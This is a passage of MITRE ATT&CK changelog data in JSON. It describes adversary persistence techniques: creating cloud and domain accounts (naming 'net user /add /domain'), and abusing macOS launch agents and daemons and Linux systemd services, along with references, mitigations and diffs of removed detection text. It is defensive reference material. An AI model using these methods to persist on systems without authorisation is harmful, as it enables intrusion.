{
"source_name": "Microsoft Azure AD Users",
"description": "Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020.",
"url": "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory"
},
{
"source_name": "Microsoft Entra ID Service Principals",
"description": "Microsoft. (2023, December 15). Application and service principal objects in Microsoft Entra ID. Retrieved February 28, 2024.",
"url": "https://learn.microsoft.com/en-us/entra/identity-platform/app-objects-and-service-principals?tabs=browser"
},
{
"source_name": "Microsoft Support O365 Add Another Admin, October 2019",
"description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.",
"url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Praetorian",
"Microsoft Threat Intelligence Center (MSTIC)",
"Arun Seelagan, CISA"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS",
"SaaS",
"Office Suite",
"Identity Provider"
],
"x_mitre_version": "1.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:09.917000+00:00\", \"old_value\": \"2025-04-15 22:01:16.589000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.\"}}}",
"previous_version": "1.6",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1030: Network Segmentation",
"M1032: Multi-factor Authentication"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0319: Detection Strategy for T1136.003 - Cloud Account Creation across IaaS, IdP, SaaS, Office"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-28 14:05:17.825000+00:00",
"modified": "2025-10-24 17:48:57.883000+00:00",
"name": "Domain Account",
"description": "Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.(Citation: Savill 1999)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1136/002",
"external_id": "T1136.002"
},
{
"source_name": "Microsoft User Creation Event",
"description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
"url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
},
{
"source_name": "Savill 1999",
"description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
"url": "https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"User Account: User Account Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:57.883000+00:00\", \"old_value\": \"2025-04-15 22:21:24.212000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for processes and command-line parameters associated with domain account creation, such as net user /add /domain. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1028: Operating System Configuration",
"M1030: Network Segmentation",
"M1032: Multi-factor Authentication"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Creation)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0003: T1136.002 Detection Strategy - Domain Account Creation Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-10 16:03:18.865000+00:00",
"modified": "2025-10-24 17:48:24.896000+00:00",
"name": "Create or Modify System Process",
"description": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1543",
"external_id": "T1543"
},
{
"source_name": "AppleDocs Launch Agent Daemons",
"description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
},
{
"source_name": "TechNet Services",
"description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
"url": "https://technet.microsoft.com/en-us/library/cc772408.aspx"
},
{
"source_name": "OSX Malware Detection",
"description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.",
"url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"macOS",
"Linux",
"Containers"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Service: Service Creation\", \"Container: Container Creation\", \"Driver: Driver Load\", \"Service: Service Modification\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"File: File Modification\", \"File: File Creation\", \"Windows Registry: Windows Registry Key Creation\", \"Process: OS API Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:24.896000+00:00\", \"old_value\": \"2025-04-15 22:11:29.155000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \\n\\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \\n\\nMonitor for changes to files associated with system-level processes.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \\n-\\n-Command-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \\n-\\n-Monitor for changes to files associated with system-level processes.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1026: Privileged Account Management",
"M1028: Operating System Configuration",
"M1033: Limit Software Installation",
"M1040: Behavior Prevention on Endpoint",
"M1045: Code Signing",
"M1047: Audit",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0019: Service (Service Creation)",
"DS0019: Service (Service Modification)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)",
"DS0027: Driver (Driver Load)",
"DS0032: Container (Container Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0571: Detection of System Process Creation or Modification Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-17 16:10:58.592000+00:00",
"modified": "2025-10-24 17:49:25.367000+00:00",
"name": "Launch Agent",
"description": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1543/001",
"external_id": "T1543.001"
},
{
"source_name": "AppleDocs Launch Agent Daemons",
"description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
},
{
"source_name": "Sofacy Komplex Trojan",
"description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
"url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
},
{
"source_name": "OceanLotus for OS X",
"description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
"url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
},
{
"source_name": "OSX Keydnap malware",
"description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
"url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
},
{
"source_name": "Methods of Mac Malware Persistence",
"description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
},
{
"source_name": "OSX Malware Detection",
"description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.",
"url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf"
},
{
"source_name": "Antiquated Mac Malware",
"description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
},
{
"source_name": "OSX.Dok Malware",
"description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Antonio Piazza, @antman1p"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Service: Service Modification\", \"File: File Creation\", \"Service: Service Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.367000+00:00\", \"old_value\": \"2025-04-15 19:59:10.035000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\\n\\nEnsure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\\n-\\n-Ensure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. \"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0019: Service (Service Creation)",
"DS0019: Service (Service Modification)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0434: Detection of Launch Agent Creation or Modification on macOS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-17 19:23:15.227000+00:00",
"modified": "2025-10-24 17:48:49.387000+00:00",
"name": "Launch Daemon",
"description": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1543/004",
"external_id": "T1543.004"
},
{
"source_name": "AppleDocs Launch Agent Daemons",
"description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
},
{
"source_name": "LaunchDaemon Hijacking",
"description": "Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.",
"url": "https://bradleyjkemp.dev/post/launchdaemon-hijacking/"
},
{
"source_name": "WireLurker",
"description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
"url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
},
{
"source_name": "launchd Keywords for plists",
"description": "Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021.",
"url": "https://www.real-world-systems.com/docs/launchdPlist.1.html"
},
{
"source_name": "Methods of Mac Malware Persistence",
"description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
},
{
"source_name": "OSX Malware Detection",
"description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.",
"url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf"
},
{
"source_name": "sentinelone macos persist Jun 2019",
"description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
"url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Creation\", \"File: File Modification\", \"Service: Service Modification\", \"Command: Command Execution\", \"Service: Service Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.387000+00:00\", \"old_value\": \"2025-04-15 19:58:33.604000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP.\\n\\nSome legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists)\\n\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +0,0 @@\\n-Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP.\\n-\\n-Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists)\\n-\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0019: Service (Service Creation)",
"DS0019: Service (Service Modification)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0401: Detection Strategy for Launch Daemon Creation or Modification (macOS)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-17 16:15:19.870000+00:00",
"modified": "2025-10-24 17:49:29.942000+00:00",
"name": "Systemd Service",
"description": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible. \n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service) \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.\n* `ExecReload` directive executes when a service restarts. \n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped. \n\nAdversaries have created new service files, altered the commands a `.service` file\u2019s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016) \n\nThe `.service` file\u2019s User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions. \n\nSystemd services can be created via systemd generators, which support the dynamic generation of unit files. Systemd generators are small executables that run during boot or configuration reloads to dynamically create or modify systemd unit files by converting non-native configurations into services, symlinks, or drop-ins (i.e., [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037)).(Citation: Elastic Security Labs Linux Persistence 2024)(Citation: Pepe Berba Systemd 2022)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1543/002",
"external_id": "T1543.002"
},
{
"source_name": "airwalk backdoor unix systems",
"description": "airwalk. (2023, January 1). A guide to backdooring Unix systems. Retrieved May 31, 2023.",
"url": "http://www.ouah.org/backdoors.html"
},
{
"source_name": "Anomali Rocke March 2019",
"description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.",
"url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"
},
{
"source_name": "freedesktop systemd.service",
"description": "Free Desktop. (n.d.). systemd.service \u2014 Service unit configuration. Retrieved March 20, 2023.",
"url": "https://www.freedesktop.org/software/systemd/man/systemd.service.html"
},
{
"source_name": "Linux man-pages: systemd January 2014",
"description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.",
"url": "http://man7.org/linux/man-pages/man1/systemd.1.html"
},
{
"source_name": "Pepe Berba Systemd 2022",
"description": "Pepe Berba. (2022, February 7). Hunting for Persistence in Linux (Part 5): Systemd Generators. Retrieved April 8, 2025.",
"url": "https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/"
},
{
"source_name": "Berba hunting linux systemd",
"description": "Pepe Berba. (2022, January 30). Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron. Retrieved March 20, 2023.",
"url": "https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/"
},
{
"source_name": "Rapid7 Service Persistence 22JUNE2016",
"description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.",
"url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence"
},
{
"source_name": "Elastic Security Labs Linux Persistence 2024",
"description": "Ruben Groenewoud. (2024, August 20). Linux Detection Engineering - A primer on persistence mechanisms. Retrieved March 18, 2025.",
"url": "https://www.elastic.co/security-labs/primer-on-persistence-mechanisms"
},
{
"source_name": "lambert systemd 2022",
"description": "Tony Lambert. (2022, November 13). ATT&CK T1501: Understanding systemd service persistence. Retrieved March 20, 2023.",
"url": "https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Tony Lambert, Red Canary",
"Emad Al-Mousa, Saudi Aramco",
"Tim (Wadhwa-)Brown",
"Ruben Groenewoud (@RFGroenewoud)"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux"
],
"x_mitre_version": "1.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Modification\", \"Service: Service Creation\", \"Service: Service Modification\", \"Process: Process Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:29.942000+00:00\", \"old_value\": \"2025-04-15 19:59:14.487000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file creation and modification events of Systemd service unit configuration files in the default directory locations for `root` & `user` level permissions. Suspicious processes or scripts spawned in this manner will have a parent process of \\u2018systemd\\u2019, a parent process ID of 1, and will usually execute as the `root` user.(Citation: lambert systemd 2022) \\n\\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: `systemctl list-units -\\u2013type=service \\u2013all`. Analyze the contents of `.service` files present on the file system and ensure that they refer to legitimate, expected executables, and symbolic links.(Citation: Berba hunting linux systemd)\\n\\nAuditing the execution and command-line arguments of the `systemctl` utility, as well related utilities such as `/usr/sbin/service` may reveal malicious systemd service execution.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor file creation and modification events of Systemd service unit configuration files in the default directory locations for `root` & `user` level permissions. Suspicious processes or scripts spawned in this manner will have a parent process of \\u2018systemd\\u2019, a parent process ID of 1, and will usually execute as the `root` user.(Citation: lambert systemd 2022) \\n-\\n-Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: `systemctl list-units -\\u2013type=service \\u2013all`. Analyze the contents of `.service` files present on the file system and ensure that they refer to legitimate, expected executables, and symbolic links.(Citation: Berba hunting linux systemd)\\n-\\n-Auditing the execution and command-line arguments of the `systemctl` utility, as well related utilities such as `/usr/sbin/service` may reveal malicious systemd service execution.\"}}}",
"previous_version": "1.6",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1026: Privileged Account Management",
"M1033: Limit Software Installation"
],
"new": [],
"dropped": []
},
